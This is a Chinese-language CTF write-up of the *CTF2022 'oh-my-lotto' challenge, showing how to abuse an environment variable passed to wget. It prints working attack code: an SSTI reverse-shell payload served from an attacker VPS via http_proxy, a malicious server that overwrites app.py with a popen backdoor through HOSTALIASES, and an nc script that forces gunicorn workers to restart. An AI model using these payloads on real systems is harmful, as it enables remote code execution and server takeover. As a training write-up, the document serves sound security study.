*CTF2022 oh-my-lotto&revenge
简单分析下源码
题目给了附件,主要看app
,lotto
,docker-compose.yml
这里是开了两个容器,然后通过links
进行交互,app可以通过links将lotto容器的ip记录到该容器中, 再通过连接 lotto:80
可以访问lotto容器(因为lotto在80端口上)
这个在之后的wget中很有用
lotto
我们先看lotto
,
from flask import Flask, make_response
import secrets
app = Flask(__name__)
#在80端口有个服务,我们访问就会生成一个txt,然后将文件返回
@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)
r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
app
看结构
-
safe_check
是一个方法,会检测一些恶意利用环境变量的命令
-
/index
返回index.html -
/result
会将/app/lotto_result.txt
中的值进行返回 -
/forecast
路由可以上传文件,并且存储到/app/guess/forecast.txt
中 -
/lotto
路由处,接收两个参数,然后将lotto_key
转大写,对lotto_key
进行检测,当检测无问题之后,通过os.environ
将两个参数分别作为key和value仍进环境变量
然后接下来,通过wget去访问lotto
,这个前面也分析了,因为两个容器都是在一个机子上,所以也就是相当于去127.0.0.1:80
去请求一个新生成的随机数文件
os.system('wget --content-disposition -N lotto')
非预期解
修改PATH变量
wget运行的时候,会去环境变量里找wget
,但是如果我们把PATH修改了,那么wget就会出错,就不会生成新的/app/lotto_result.txt
这样我们先拿到/app/lotto_result.txt
,然后将PATH
修改掉,然后我们拿到的上一次的结果,访问/lotto,wget出问题,不会生成新的/app/lotto_result.txt
,达成预测值和靶机里的文件相同,得flag
本地复现的时候,确实成功把PATH环境变量给打了,然后生成不了新的/app/lotto_result.txt
,但是我们上传一个和/app/lotto_result.txt
相同的文件,还是不能得到flag
我甚至去和容器交互,然后查看两个文件下的内容
从表面上看是一样的,但是还是有些区别
这里我们用附件中的脚本,简单修改下,生成txt
from flask import Flask, make_response
import secrets
app = Flask(__name__)
#在80端口有个服务,我们访问就会生成一个txt,然后将文件返回
@app.route("/")
def index():
str2 = '26 14 2 15 10 31 1 29 15 1 3 17 21 28 8 5 13 26 12'
str1 = str2.split(" ")
lotto = []
for i in str1:
# n = str(secrets.randbelow(40))
n = str(i)
lotto.append(n)
r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
我们来看这个我自己在windows下手写的txt和脚本生成的文件的区别
这个可能是因为windows和linux下回车换行的含义不同引起的(如果说的有问题,请大佬指点)
上传文件之后,进入/lotto
,然后输入
path
/tmp
回显结果
WGETRC
思路一:用http_proxy
,在vps上整个服务,让wget
去vps上下载上一次的结果,所以会判定相同
思路二:
参考y4师傅的wp
看文档
有两个很神奇的变量:
http_proxy
:代理,每次wget会先访问我们这个代理
output_document
:控制返回文件的目录
所以可以根据这两个参数,做一个代理,让wget去访问我们的vps,然后返回index.html打SSTI
首先将变量传进app/gusss/forecast.txt
1.txt,将1.txt上传
http_proxy=http://vps:7005
output_document=templates/index.html
vps上整个服务,用来将反弹shell的语句返回给index.html
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
a = '''{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/vps/7010 0>&1"').read()}}'''
return a
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=7005)
传参
代理得到请求,将反弹shell返回
在vps上监听7010端口
预期解
官方wp
根据源码中app.py所述逻辑,当上传的forecast.txt
文件内容与lotto_result.txt
文件内容相符时,可以获得flag,lotto容器中生成lotto_result.txt
使用的是secrets
库,该库函数使用安全的随机数生成方法,理论上不存在被预测的风险。
发现在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto')
,同时环境变量会经过safe_check
函数检查
def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True
一些常见的环境变量利用方法都已经被禁止,通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html
在Network Settings中发现有HOSTALIASES
可以设置shell的hosts加载文件,利用/forecast
路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto
发向lotto的请求转发到自己的域名
例如如下hosts文件
# hosts
lotto www.sk1y.com
同时注意到wget请求添加了--content-disposition -N
参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的www.sk1y.top
域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py
就可以覆盖当前题目的app.py
文件
首先上传hosts文件,然后将HOSTALIASES
设置为/app/guess/forecast.txt
查看app.py,发现app.py已经被覆盖了
服务端参考POC
from flask import Flask, request, make_response
import mimetypes
app = Flask(__name__)
@app.route("/")
def index():
r = '''
from flask import Flask,request
import os
app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=80)
此时发现已经覆盖了题目的app.py
,但并不能直接RCE,因为题目使用gunicorn
部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker
的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下
exploit.sh文件如下:
timeout 50 nc 192.168.43.145 8880 &
timeout 50 nc 192.168.43.145 8880 &
timeout 50 nc 192.168.43.145 8880
运行
给可执行权限
chmod +x exploit.sh
然后运行
./exploit.sh
过一会儿,再访问,发现app.py重新加载了
然后传参test/?a=env
,得到flag